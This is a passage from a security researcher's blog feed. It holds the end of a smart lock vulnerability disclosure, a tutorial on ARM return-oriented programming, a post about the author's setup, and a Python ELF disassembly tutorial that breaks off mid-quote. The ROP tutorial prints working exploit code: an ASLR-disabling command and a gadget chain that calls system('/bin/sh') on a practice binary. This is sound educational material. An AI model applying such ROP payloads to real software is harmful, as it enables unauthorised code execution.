692(the attacker) needs to authorize that. </p>
693
694<p>To add to that, roughly 15,000 user accounts’ info are exposed via IDOR.
695Ilja, a cool dude I met on Telegram, noticed locks named “carlock”,
696“garage”, “MainDoor”, etc.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup> This is terrifying.</p>
697
698<p><em>shudders</em></p>
699
700<h3 id="proof-of-concept">Proof of Concept</h3>
701
702<p><a href="https://twitter.com/icyphox/status/1158396372778807296">PoC Video</a></p>
703
704<p><a href="https://github.com/icyphox/pwnfb50">Exploit code</a></p>
705
706<h3 id="disclosure-timeline">Disclosure timeline</h3>
707
708<ul>
709<li><strong>26th June, 2019</strong>: Issue discovered at SecureLayer7, Pune</li>
710<li><strong>27th June, 2019</strong>: Vendor notified about the issue</li>
711<li><strong>2nd July, 2019</strong>: CVE-2019-13143 reserved</li>
712<li>No response from vendor</li>
713<li><strong>2nd August 2019</strong>: Public disclosure</li>
714</ul>
715
716<h3 id="lessons-learnt">Lessons learnt</h3>
717
718<p><strong>DO NOT</strong>. Ever. Buy. A smart lock. You’re better off with the “dumb” ones
719with keys. With the IoT plague spreading, it brings in a large attack surface
720to things that were otherwise “unhackable” (try hacking a “dumb” toaster).</p>
721
722<p>The IoT security scene is rife with bugs from over 10 years ago, like
723executable stack segments<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, hardcoded keys, and poor development
724practices in general.</p>
725
726<p>Our existing threat models and scenarios have to be updated to factor
727in these new exploitation possibilities. This also broadens the playing
728field for cyber warfare and mass surveillance campaigns. </p>
729
730<h3 id="researcher-info">Researcher info</h3>
731
732<p>This research was done at <a href="https://securelayer7.net">SecureLayer7</a>, Pune, IN by:</p>
733
734<ul>
735<li>Anirudh Oppiliappan (me)</li>
736<li>S. Raghav Pillai (<a href="https://twitter.com/_vologue">@_vologue</a>)</li>
737<li>Shubham Chougule (<a href="https://twitter.com/shubhamtc">@shubhamtc</a>)</li>
738</ul>
739
740<div class="footnotes">
741<hr />
742<ol>
743<li id="fn-1">
744<p><a href="https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/">This</a> article discusses a similar smart lock, but they broke the encryption. <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
745</li>
746
747<li id="fn-2">
748<p>Thanks to Ilja Shaposhnikov (@drakylar). <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
749</li>
750
751<li id="fn-3">
752<p><a href="https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf">PDF</a> <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p>
753</li>
754</ol>
755</div>
756]]></description><link>https://icyphox.sh/blog/fb50</link><pubDate>Mon, 05 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/fb50</guid></item><item><title>Return Oriented Programming on ARM (32-bit)</title><description><![CDATA[<p>Before we start <em>anything</em>, you’re expected to know the basics of ARM
757assembly to follow along. I highly recommend
758<a href="https://twitter.com/fox0x01">Azeria’s</a> series on <a href="https://azeria-labs.com/writing-arm-assembly-part-1/">ARM Assembly
759Basics</a>. Once you’re
760comfortable with it, proceed with the next bit — environment setup.</p>
761
762<h3 id="setup">Setup</h3>
763
764<p>Since we’re working with the ARM architecture, there are two options to go
765forth with: </p>
766
767<ol>
768<li>Emulate — head over to <a href="https://www.qemu.org/download/">qemu.org/download</a> and install QEMU.
769And then download and extract the ARMv6 Debian Stretch image from one of the links <a href="https://blahcat.github.io/qemu/">here</a>.
770The scripts found inside should be self-explanatory.</li>
771<li>Use actual ARM hardware, like an RPi.</li>
772</ol>
773
774<p>For debugging and disassembling, we’ll be using plain old <code>gdb</code>, but you
775may use <code>radare2</code>, IDA or anything else, really. All of which can be
776trivially installed.</p>
777
778<p>And for the sake of simplicity, disable ASLR:</p>
779
780<div class="codehilite"><pre><span></span><code>$ <span class="nb">echo</span> <span class="m">0</span> > /proc/sys/kernel/randomize_va_space
781</code></pre></div>
782
783<p>Finally, the binary we’ll be using in this exercise is <a href="https://twitter.com/bellis1000">Billy Ellis’</a>
784<a href="/static/files/roplevel2.c">roplevel2</a>. </p>
785
786<p>Compile it:</p>
787
788<div class="codehilite"><pre><span></span><code>$ gcc roplevel2.c -o rop2
789</code></pre></div>
790
791<p>With that out of the way, here’s a quick run down of what ROP actually is.</p>
792
793<h3 id="a-primer-on-rop">A primer on ROP</h3>
794
795<p>ROP or Return Oriented Programming is a modern exploitation technique that’s
796used to bypass protections like the <strong>NX bit</strong> (no-execute bit) and <strong>code sigining</strong>.
797In essence, no code in the binary is actually modified and the entire exploit
798is crafted out of pre-existing artifacts within the binary, known as <strong>gadgets</strong>.</p>
799
800<p>A gadget is essentially a small sequence of code (instructions), ending with
801a <code>ret</code>, or a return instruction. In our case, since we’re dealing with ARM
802code, there is no <code>ret</code> instruction but rather a <code>pop {pc}</code> or a <code>bx lr</code>.
803These gadgets are <em>chained</em> together by jumping (returning) from one onto the other
804to form what’s called as a <strong>ropchain</strong>. At the end of a ropchain,
805there’s generally a call to <code>system()</code>, to acheive code execution.</p>
806
807<p>In practice, the process of executing a ropchain is something like this:</p>
808
809<ul>
810<li>confirm the existence of a stack-based buffer overflow</li>
811<li>identify the offset at which the instruction pointer gets overwritten</li>
812<li>locate the addresses of the gadgets you wish to use</li>
813<li>craft your input keeping in mind the stack’s layout, and chain the addresses
814of your gadgets</li>
815</ul>
816
817<p><a href="https://twitter.com/LiveOverflow">LiveOverflow</a> has a <a href="https://www.youtube.com/watch?v=zaQVNM3or7k&list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&index=46&t=0s">beautiful video</a> where he explains ROP using “weird machines”.
818Check it out, it might be just what you needed for that “aha!” moment :)</p>
819
820<p>Still don’t get it? Don’t fret, we’ll look at <em>actual</em> exploit code in a bit and hopefully
821that should put things into perspective.</p>
822
823<h3 id="exploring-our-binary">Exploring our binary</h3>
824
825<p>Start by running it, and entering any arbitrary string. On entering a fairly
826large string, say, “A” × 20, we
827see a segmentation fault occur.</p>
828
829<p><img src="/static/img/string_segfault.png" alt="string and segfault" /></p>
830
831<p>Now, open it up in <code>gdb</code> and look at the functions inside it.</p>
832
833<p><img src="/static/img/gdb_functions.png" alt="gdb functions" /></p>
834
835<p>There are three functions that are of importance here, <code>main</code>, <code>winner</code> and
836<code>gadget</code>. Disassembling the <code>main</code> function:</p>
837
838<p><img src="/static/img/gdb_main_disas.png" alt="gdb main disassembly" /></p>
839
840<p>We see a buffer of 16 bytes being created (<code>sub sp, sp, #16</code>), and some calls
841to <code>puts()</code>/<code>printf()</code> and <code>scanf()</code>. Looks like <code>winner</code> and <code>gadget</code> are
842never actually called.</p>
843
844<p>Disassembling the <code>gadget</code> function:</p>
845
846<p><img src="/static/img/gdb_gadget_disas.png" alt="gdb gadget disassembly" /></p>
847
848<p>This is fairly simple, the stack is being initialized by <code>push</code>ing <code>{r11}</code>,
849which is also the frame pointer (<code>fp</code>). What’s interesting is the <code>pop {r0, pc}</code>
850instruction in the middle. This is a <strong>gadget</strong>.</p>
851
852<p>We can use this to control what goes into <code>r0</code> and <code>pc</code>. Unlike in x86 where
853arguments to functions are passed on the stack, in ARM the registers <code>r0</code> to <code>r3</code>
854are used for this. So this gadget effectively allows us to pass arguments to
855functions using <code>r0</code>, and subsequently jumping to them by passing its address
856in <code>pc</code>. Neat.</p>
857
858<p>Moving on to the disassembly of the <code>winner</code> function:</p>
859
860<p><img src="/static/img/gdb_disas_winner.png" alt="gdb winner disassembly" /></p>
861
862<p>Here, we see a calls to <code>puts()</code>, <code>system()</code> and finally, <code>exit()</code>.
863So our end goal here is to, quite obviously, execute code via the <code>system()</code>
864function.</p>
865
866<p>Now that we have an overview of what’s in the binary, let’s formulate a method
867of exploitation by messing around with inputs.</p>
868
869<h3 id="messing-around-with-inputs">Messing around with inputs :^)</h3>
870
871<p>Back to <code>gdb</code>, hit <code>r</code> to run and pass in a patterned input, like in the
872screenshot.</p>
873
874<p><img src="/static/img/gdb_info_reg_segfault.png" alt="gdb info reg post segfault" /></p>
875
876<p>We hit a segfault because of invalid memory at address <code>0x46464646</code>. Notice
877the <code>pc</code> has been overwritten with our input.
878So we smashed the stack alright, but more importantly, it’s at the letter ‘F’.</p>
879
880<p>Since we know the offset at which the <code>pc</code> gets overwritten, we can now
881control program execution flow. Let’s try jumping to the <code>winner</code> function.</p>
882
883<p>Disassemble <code>winner</code> again using <code>disas winner</code> and note down the offset
884of the second instruction — <code>add r11, sp, #4</code>.
885For this, we’ll use Python to print our input string replacing <code>FFFF</code> with
886the address of <code>winner</code>. Note the endianness.</p>
887
888<div class="codehilite"><pre><span></span><code>$ python -c <span class="s1">'print("AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00")'</span> <span class="p">|</span> ./rop2
889</code></pre></div>
890
891<p><img src="/static/img/python_winner_jump.png" alt="jump to winner" /></p>
892
893<p>The reason we don’t jump to the first instruction is because we want to control the stack
894ourselves. If we allow <code>push {rll, lr}</code> (first instruction) to occur, the program will <code>pop</code>
895those out after <code>winner</code> is done executing and we will no longer control
896where it jumps to.</p>
897
898<p>So that didn’t do much, just prints out a string “Nothing much here…”.
899But it <em>does</em> however, contain <code>system()</code>. Which somehow needs to be populated with an argument
900to do what we want (run a command, execute a shell, etc.).</p>
901
902<p>To do that, we’ll follow a multi-step process: </p>
903
904<ol>
905<li>Jump to the address of <code>gadget</code>, again the 2nd instruction. This will <code>pop</code> <code>r0</code> and <code>pc</code>.</li>
906<li>Push our command to be executed, say “<code>/bin/sh</code>” onto the stack. This will go into
907<code>r0</code>.</li>
908<li>Then, push the address of <code>system()</code>. And this will go into <code>pc</code>.</li>
909</ol>
910
911<p>The pseudo-code is something like this:</p>
912
913<pre><code>string = AAAABBBBCCCCDDDDEEEE
914gadget = # addr of gadget
915binsh = # addr of /bin/sh
916system = # addr of system()
917
918print(string + gadget + binsh + system)
919</code></pre>
920
921<p>Clean and mean.</p>
922
923<h3 id="the-exploit">The exploit</h3>
924
925<p>To write the exploit, we’ll use Python and the absolute godsend of a library — <code>struct</code>.
926It allows us to pack the bytes of addresses to the endianness of our choice.
927It probably does a lot more, but who cares.</p>
928
929<p>Let’s start by fetching the address of <code>/bin/sh</code>. In <code>gdb</code>, set a breakpoint
930at <code>main</code>, hit <code>r</code> to run, and search the entire address space for the string “<code>/bin/sh</code>”:</p>
931
932<pre><code>(gdb) find &system, +9999999, "/bin/sh"
933</code></pre>
934
935<p><img src="/static/img/gdb_find_binsh.png" alt="gdb finding /bin/sh" /></p>
936
937<p>One hit at <code>0xb6f85588</code>. The addresses of <code>gadget</code> and <code>system()</code> can be
938found from the disassmblies from earlier. Here’s the final exploit code:</p>
939
940<div class="codehilite"><pre><span></span><code><span class="kn">import</span> <span class="nn">struct</span>
941
942<span class="n">binsh</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0xb6f85588</span><span class="p">)</span>
943<span class="n">string</span> <span class="o">=</span> <span class="s2">"AAAABBBBCCCCDDDDEEEE"</span>
944<span class="n">gadget</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0x00010550</span><span class="p">)</span>
945<span class="n">system</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0x00010538</span><span class="p">)</span>
946
947<span class="k">print</span><span class="p">(</span><span class="n">string</span> <span class="o">+</span> <span class="n">gadget</span> <span class="o">+</span> <span class="n">binsh</span> <span class="o">+</span> <span class="n">system</span><span class="p">)</span>
948</code></pre></div>
949
950<p>Honestly, not too far off from our pseudo-code :)</p>
951
952<p>Let’s see it in action:</p>
953
954<p><img src="/static/img/the_shell.png" alt="the shell!" /></p>
955
956<p>Notice that it doesn’t work the first time, and this is because <code>/bin/sh</code> terminates
957when the pipe closes, since there’s no input coming in from STDIN.
958To get around this, we use <code>cat(1)</code> which allows us to relay input through it
959to the shell. Nifty trick.</p>
960
961<h3 id="conclusion">Conclusion</h3>
962
963<p>This was a fairly basic challenge, with everything laid out conveniently.
964Actual ropchaining is a little more involved, with a lot more gadgets to be chained
965to acheive code execution.</p>
966
967<p>Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.</p>
968]]></description><link>https://icyphox.sh/blog/rop-on-arm</link><pubDate>Thu, 06 Jun 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/rop-on-arm</guid></item><item><title>My Setup</title><description><![CDATA[<h3 id="hardware">Hardware</h3>
969
970<p>The only computer I have with me is my <a href="https://store.hp.com/us/en/mdp/laptops/envy-13">HP Envy 13 (2018)</a> (my model looks a little different). It’s a 13” ultrabook, with an i5 8250u,
9718 gigs of RAM and a 256 GB NVMe SSD. It’s a very comfy machine that does everything I need it to.</p>
972
973<p>For my phone, I use a <a href="https://www.oneplus.in/6t">OnePlus 6T</a>, running stock <a href="https://www.oneplus.in/oxygenos">OxygenOS</a>. As of this writing, its bootloader hasn’t been unlocked and nor has the device been rooted.
974I’m also a proud owner of a <a href="https://en.wikipedia.org/wiki/Nexus_5">Nexus 5</a>, which I really wish Google rebooted. It’s surprisingly still usable and runs Android Pie, although the SIM slot is ruined and the battery backup is abysmal.</p>
975
976<p>My watch is a <a href="https://www.samsung.com/in/wearables/gear-s3-frontier-r760/">Samsung Gear S3 Frontier</a>. Tizen is definitely better than Android Wear.</p>
977
978<p>My keyboard, although not with me in college, is a very old <a href="https://www.amazon.com/Dell-Keyboard-Model-SK-8110-Interface/dp/B00366HMMO">Dell SK-8110</a>.
979For the little bit of gaming that I do, I use a <a href="https://www.hpshopping.in/hp-m150-gaming-mouse-3dr63pa.html">HP m150</a> gaming mouse. It’s the perfect size (and color).</p>
980
981<p>For my music, I use the <a href="https://www.boseindia.com/en_in/products/headphones/over_ear_headphones/soundlink-around-ear-wireless-headphones-ii.html">Bose SoundLink II</a>.
982Great pair of headphones, although the ear cups need replacing.</p>
983
984<h3 id="and-the-software">And the software</h3>
985
986<p><del>My distro of choice for the past ~1 year has been <a href="https://elementary.io">elementary OS</a>. I used to be an Arch Linux elitist, complete with an esoteric
987window manager, all riced. I now use whatever JustWorks™.</del></p>
988
989<p><strong>Update</strong>: As of June 2019, I’ve switched over to a vanilla Debian 9 Stretch install,
990running <a href="https://i3wm.org">i3</a> as my window manager. If you want, you can dig through my configs at my <a href="https://github.com/icyphox/dotfiles">dotfiles</a> repo. </p>
991
992<p>Here’s a (riced) screenshot of my desktop. </p>
993
994<p><img src="https://i.redd.it/jk574gworp331.png" alt="scrot" /></p>
995
996<p>Most of my work is done in either the browser, or the terminal.
997My shell is pure <a href="http://www.zsh.org">zsh</a>, as in no plugin frameworks. It’s customized using built-in zsh functions. Yes, you don’t actually need
998a framework. It’s useless bloat. The prompt itself is generated using a framework I built in <a href="https://nim-lang.org">Nim</a> — <a href="https://github.com/icyphox/nicy">nicy</a>.
999My primary text editor is <a href="https://neovim.org">nvim</a>. Again, all configs in my dotfiles repo linked above.
1000I manage all my passwords using <a href="https://passwordstore.org">pass(1)</a>, and I use <a href="https://github.com/carnager/rofi-pass">rofi-pass</a> to access them via <code>rofi</code>.</p>
1001
1002<p>Most of my security tooling is typically run via a Kali Linux docker container. This is convenient for many reasons, keeps your global namespace
1003clean and a single command to drop into a Kali shell.</p>
1004
1005<p>I use a DigitalOcean droplet (BLR1) as a public filehost, found at <a href="https://x.icyphox.sh">x.icyphox.sh</a>. The UI is the wonderful <a href="https://github.com/zeit/serve">serve</a>, by <a href="https://zeit.co">ZEIT</a>.
1006The same box also serves as my IRC bouncer and OpenVPN (TCP), which I tunnel via SSH running on 443. Campus firewall woes. </p>
1007
1008<p>I plan on converting my desktop back at home into a homeserver setup. Soon™.</p>
1009]]></description><link>https://icyphox.sh/blog/my-setup</link><pubDate>Mon, 13 May 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/my-setup</guid></item><item><title>Python for Reverse Engineering #1: ELF Binaries</title><description><![CDATA[<p>While solving complex reversing challenges, we often use established tools like radare2 or IDA for disassembling and debugging. But there are times when you need to dig in a little deeper and understand how things work under the hood.</p>
1010
1011<p>Rolling your own disassembly scripts can be immensely helpful when it comes to automating certain processes, and eventually build your own homebrew reversing toolchain of sorts. At least, that’s what I’m attempting anyway.</p>
1012
1013<h3 id="setup">Setup</h3>
1014
1015<p>As the title suggests, you’re going to need a Python 3 interpreter before
1016anything else. Once you’ve confirmed beyond reasonable doubt that you do,
1017in fact, have a Python 3 interpreter installed on your system, run</p>
1018
1019<div class="codehilite"><pre><span></span><code><span class="gp">$</span> pip install capstone pyelftools
1020</code></pre></div>
1021
1022<p>where <code>capstone</code> is the disassembly engine we’ll be scripting with and <code>pyelftools</code> to help parse ELF files.</p>
1023
1024<p>With that out of the way, let’s start with an example of a basic reversing
1025challenge.</p>
1026
1027<div class="codehilite"><pre><span></span><code><span class="cm">/* chall.c */</span>
1028
1029<span class="cp">#include</span> <span class="cpf"><stdio.h></span><span class="cp"></span>
1030<span class="cp">#include</span> <span class="cpf"><stdlib.h></span><span class="cp"></span>
1031<span class="cp">#include</span> <span class="cpf"><string.h></span><span class="cp"></span>
1032
1033<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
1034 <span class="kt">char</span> <span class="o">*</span><span class="n">pw</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">9</span><span class="p">);</span>
1035 <span class="n">pw</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'a'</span><span class="p">;</span>
1036 <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o"><=</span> <span class="mi">8</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
1037 <span class="n">pw</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">pw</span><span class="p">[</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
1038 <span class="p">}</span>
1039 <span class="n">pw</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span>
1040 <span class="kt">char</span> <span class="o">*</span><span class="n">in</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
1041 <span class="n">printf</span><span class="p">(</span><span class="s">"password: "</span><span class="p">);</span>
1042 <span class="n">fgets</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span> <span class="c1">// 'abcdefghi'</span>
1043 <span class="k">if</span><span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="n">pw</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
1044 <span class="n">printf</span><span class="p">(</span><span class="s">"haha yes!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
1045 <span class="p">}</span>
1046 <span class="k">else</span> <span class="p">{</span>
1047 <span class="n">printf</span><span class="p">(</span><span class="s">"nah dude</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
1048 <span class="p">}</span>
1049<span class="p">}</span>
1050</code></pre></div>
1051
1052<p>Compile it with GCC/Clang:</p>
1053
1054<div class="codehilite"><pre><span></span><code><span class="gp">$</span> gcc chall.c -o chall.elf
1055</code></pre></div>
1056
1057<h3 id="scripting">Scripting</h3>
1058
1059<p>For starters, let’s look at the different sections present in the binary.</p>
1060
1061<div class="codehilite"><pre><span></span><code><span class="c1"># sections.py</span>
1062
1063<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
1064
1065<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./chall.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
1066 <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
1067 <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
1068 <span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">'sh_addr'</span><span class="p">]),</span> <span class="n">section</span><span class="o">.</span><span class="n">name</span><span class="p">)</span>
1069</code></pre></div>
1070
1071<p>This script iterates through all the sections and also shows us where it’s loaded. This will be pretty useful later. Running it gives us</p>
1072
1073<div class="codehilite"><pre><span></span><code><span class="go">› python sections.py</span>
1074<span class="go">0x238 .interp</span>
1075<span class="go">0x254 .note.ABI-tag</span>
1076<span class="go">0x274 .note.gnu.build-id</span>
1077<span class="go">0x298 .gnu.hash</span>
1078<span class="go">0x2c0 .dynsym</span>
1079<span class="go">0x3e0 .dynstr</span>
1080<span class="go">0x484 .gnu.version</span>
1081<span class="go">0x4a0 .gnu.version_r</span>
1082<span class="go">0x4c0 .rela.dyn</span>
1083<span class="go">0x598 .rela.plt</span>
1084<span class="go">0x610 .init</span>
1085<span class="go">0x630 .plt</span>
1086<span class="go">0x690 .plt.got</span>
1087<span class="go">0x6a0 .text</span>
1088<span class="go">0x8f4 .fini</span>
1089<span class="go">0x900 .rodata</span>
1090<span class="go">0x924 .eh_frame_hdr</span>
1091<span class="go">0x960 .eh_frame</span>
1092<span class="go">0x200d98 .init_array</span>
1093<span class="go">0x200da0 .fini_array</span>
1094<span class="go">0x200da8 .dynamic</span>
1095<span class="go">0x200f98 .got</span>
1096<span class="go">0x201000 .data</span>
1097<span class="go">0x201010 .bss</span>
1098<span class="go">0x0 .comment</span>
1099<span class="go">0x0 .symtab</span>
1100<span class="go">0x0 .strtab</span>
1101<span class="go">0x0 .shstrtab</span>
1102</code></pre></div>
1103
1104<p>Most of these aren’t relevant to us, but a few sections here are to be noted. The <code>.text</code> section contains the instructions (opcodes) that we’re after. The <code>.data</code> section should have strings and constants initialized at compile time. Finally, the <code>.plt</code> which is the Procedure Linkage Table and the <code>.got</code>, the Global Offset Table. If you’re unsure about what these mean, read up on the ELF format and its internals.</p>
1105
1106<p>Since we know that the <code>.text</code> section has the opcodes, let’s disassemble the binary starting at that address.</p>
1107
1108<div class="codehilite"><pre><span></span><code><span class="c1"># disas1.py</span>
1109
1110<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
1111<span class="kn">from</span> <span class="nn">capstone</span> <span class="kn">import</span> <span class="o">*</span>
1112
1113<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./bin.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
1114 <span class="n">elf</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
1115 <span class="n">code</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">get_section_by_name</span><span class="p">(</span><span class="s1">'.text'</span><span class="p">)</span>
1116 <span class="n">ops</span> <span class="o">=</span> <span class="n">code</span><span class="o">.</span><span class="n">data</span><span class="p">()</span>
1117 <span class="n">addr</span> <span class="o">=</span> <span class="n">code</span><span class="p">[</span><span class="s1">'sh_addr'</span><span class="p">]</span>
1118 <span class="n">md</span> <span class="o">=</span> <span class="n">Cs</span><span class="p">(</span><span class="n">CS_ARCH_X86</span><span class="p">,</span> <span class="n">CS_MODE_64</span><span class="p">)</span>
1119 <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">md</span><span class="o">.</span><span class="n">disasm</span><span class="p">(</span><span class="n">ops</span><span class="p">,</span> <span class="n">addr</span><span class="p">):</span>
1120 <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">'0x{i.address:x}:</span><span class="se">\t</span><span class="s1">{i.mnemonic}</span><span class="se">\t</span><span class="s1">{i.op_str}'</span><span class="p">)</span>
1121</code></pre></div>
1122
1123<p>The code is fairly straightforward (I think). We should be seeing this, on running</p>
1124
1125<div class="codehilite"><pre><span></span><code><span class="go">› python disas1.py | less </span>
1126<span class="go">0x6a0: xor ebp, ebp</span>
1127<span class="go">0x6a2: mov r9, rdx</span>
1128<span class="go">0x6a5: pop rsi</span>
1129<span class="go">0x6a6: mov rdx, rsp</span>
1130<span class="go">0x6a9: and rsp, 0xfffffffffffffff0</span>
1131<span class="go">0x6ad: push rax</span>
1132<span class="go">0x6ae: push rsp</span>
1133<span class="go">0x6af: lea r8, [rip + 0x23a]</span>
1134<span class="go">0x6b6: lea rcx, [rip + 0x1c3]</span>
1135<span class="go">0x6bd: lea rdi, [rip + 0xe6]</span>
1136<span class="go">**0x6c4: call qword ptr [rip + 0x200916]**</span>
1137<span class="go">0x6ca: hlt</span>
1138<span class="go">... snip ...</span>
1139</code></pre></div>
1140
1141<p>The line in bold is fairly interesting to us. The address at <code>[rip + 0x200916]</code> is equivalent to <code>[0x6ca + 0x200916]</code>, which in turn evaluates to <code>0x200fe0</code>. The first <code>call</code> being made to a function at <code>0x200fe0</code>? What could this function be?</p>
1142
1143<p>For this, we will have to look at <strong>relocations</strong>. Quoting <a href="http://refspecs.linuxbase.org/elf/gabi4+/ch4.reloc.html">linuxbase.org</a></p>
1144
1145<blockquote>
1146 <p>Relocation is the process of connecting symbolic references with symbolic definitions. For example, when a program calls a function, the associated call instruction must transfer control to the proper destination address at execution. Relocatable files must have “relocation entries’’ which are necessary because they contain information that describes how to modify their section contents, thus allowing executable and shared object files to hold the right information for a process’s program image.</p>
1147</blockquote>
1148
1149<p>To try and find these relocation entries, we write a third script.</p>
1150
1151<div class="codehilite"><pre><span></span><code><span class="c1"># relocations.py</span>
1152
1153<span class="kn">import</span> <span class="nn">sys</span>
1154<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
1155<span class="kn">from</span> <span class="nn">elftools.elf.relocation</span> <span class="kn">import</span> <span class="n">RelocationSection</span>
1156
1157<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./chall.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
1158 <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
1159 <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
1160 <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">section</span><span class="p">,</span> <span class="n">RelocationSection</span><span class="p">):</span>
1161 <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">'{section.name}:'</span><span class="p">)</span>
1162 <span class="n">symbol_table</span> <span class="o">=</span> <span class="n">e</span><span class="o">.</span><span class="n">get_section</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">'sh_link'</span><span class="p">])</span>
1163 <span class="k">for</span> <span class="n">relocation</span> <span class="ow">in</span> <span class="n">section</span><span class="o">.</span><span class="n">iter_relocations</span><span class="p">():</span>
1164 <span class="n">symbol</span> <span class="o">=</span> <span class="n">symbol_table</span><span class="o">.</span><span class="n">get_symbol</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">'r_info_sym'</span><span class="p">])</span>
1165 <span class="n">addr</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">'r_offset'</span><span class="p">])</span>
1166 <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">'{symbol.name} {addr}'</span><span class="p">)</span>
1167</code></pre></div>
1168
1169<p>Let’s run through this code real quick. We first loop through the sections, and check if it’s of the type <code>RelocationSection</code>. We then iterate through the relocations from the symbol table for each section. Finally, running this gives us</p>
1170
1171<div class="codehilite"><pre><span></span><code><span class="go">› python relocations.py</span>
1172<span class="go">.rela.dyn:</span>
1173<span class="go"> 0x200d98</span>
1174<span class="go"> 0x200da0</span>
1175<span class="go"> 0x201008</span>
1176<span class="go">_ITM_deregisterTMCloneTable 0x200fd8</span>
1177<span class="go">**__libc_start_main 0x200fe0**</span>
1178<span class="go">__gmon_start__ 0x200fe8</span>
1179<span class="go">_ITM_registerTMCloneTable 0x200ff0</span>
1180<span class="go">__cxa_finalize 0x200ff8</span>
1181<span class="go">stdin 0x201010</span>
1182<span class="go">.rela.plt:</span>
1183<span class="go">puts 0x200fb0</span>
1184<span class="go">printf 0x200fb8</span>
1185<span class="go">fgets 0x200fc0</span>
1186<span class="go">strcmp 0x200fc8</span>
1187<span class="go">malloc 0x200fd0</span>
1188</code></pre></div>
1189
1190<p>Remember the function call at <code>0x200fe0</code> from earlier? Yep, so that was a call to the well known <code>__libc_start_main</code>. Again, according to <a href="http://refspecs.linuxbase.org/LSB_3.1.0/LSB-generic/LSB-generic/baselib—libc-start-main-.html">linuxbase.org</a></p>
1191
1192<blockquote>
